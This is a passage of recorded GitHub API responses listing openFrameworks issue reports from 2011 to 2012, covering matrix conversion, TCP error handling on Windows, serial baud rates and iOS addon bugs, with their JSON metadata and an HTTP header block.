forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the connection\r\n\r\nThis error happens in every use of ofxTCPClient.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/599","comments":1,"milestone":null,"number":599,"html_url":"https://github.com/openframeworks/openFrameworks/issues/599","assignee":null,"title":"TCPManager Consistent Error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-08T23:02:28Z","state":"open","user":{"url":"https://api.github.com/users/tomorrowevening","gravatar_id":"f92a8e912b59171abde0354e2f212c12","login":"tomorrowevening","avatar_url":"https://secure.gravatar.com/avatar/f92a8e912b59171abde0354e2f212c12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":626143},"id":1027184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-01T13:56:17Z","body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","comments":0,"milestone":null,"number":591,"html_url":"https://github.com/openframeworks/openFrameworks/issues/591","assignee":null,"title":"problem with ofImage resize","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-06-01T13:56:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":984564,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T12:33:31Z","body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","comments":0,"milestone":null,"number":590,"html_url":"https://github.com/openframeworks/openFrameworks/issues/590","assignee":null,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-05-31T11:31:08Z","state":"open","user":{"url":"https://api.github.com/users/cristobal","gravatar_id":"c7f941e0c10696b758ae8792714a6744","login":"cristobal","avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":155505},"id":978212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-05-31T02:06:22Z","body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","comments":0,"milestone":null,"number":589,"html_url":"https://github.com/openframeworks/openFrameworks/issues/589","assignee":null,"title":"setFromPixels vs setFromExternalPixels","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-31T02:06:22Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":976610,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:54:02Z","body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","comments":5,"milestone":null,"number":582,"html_url":"https://github.com/openframeworks/openFrameworks/issues/582","assignee":null,"title":"templated code needs to be more readable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-05-23T17:46:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":942647,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T13:42:28Z","body":"just need to add the line\r\n\r\n\t\t\tcase 230400: cfsetispeed(&options,B230400);\r\n\t\t\t\tcfsetospeed(&options,B230400);\r\n\t\t\t\tbreak;\r\n\r\nin the setup function after\r\ncase 115200: cfsetispeed(&options,B115200);\r\n\t\t\t\t\t\tcfsetospeed(&options,B115200);\r\n\t\t\t\tbreak;\r\n\r\ntested with our device that runs at that baud rate, seems to work a-OK so far.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/577","comments":2,"milestone":null,"number":577,"html_url":"https://github.com/openframeworks/openFrameworks/issues/577","assignee":null,"title":"ofSerial: add 230400 speed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-20T16:16:52Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":932655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T19:59:00Z","body":"This is a generic Linux build of oF for ARM Cortex A8/9 devices (Beagleboard, Pandaboard, Gumstix, Tegra 250, IGEPv2, ...) with built-in NEON optimizations in the included libs and makefiles (via gcc -O3 -march=armv7-a -mtune=cortex-a8 -mfpu=neon -ftree-vectorize -mfloat-abi=softfp)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/576","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","closed_issues":0,"number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":576,"html_url":"https://github.com/openframeworks/openFrameworks/issues/576","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"Generic armv7l Linux build for Beagleboard &co. ","labels":[],"closed_at":null,"created_at":"2011-05-19T14:49:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927378,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/576.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/576","patch_url":"https://github.com/openframeworks/openFrameworks/pull/576.patch"}},{"updated_at":"2011-05-13T15:28:46Z","body":"http://forum.openframeworks.cc/index.php?topic=6201.0","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","comments":0,"milestone":null,"number":572,"html_url":"https://github.com/openframeworks/openFrameworks/issues/572","assignee":null,"title":"ofToggleFullscreen doesn't set width and height correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-05-13T15:28:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":895515,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T15:47:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/569","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":569,"html_url":"https://github.com/openframeworks/openFrameworks/issues/569","assignee":null,"title":"saving an image with the image quality flag set to high or best causes empty jpegs. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL 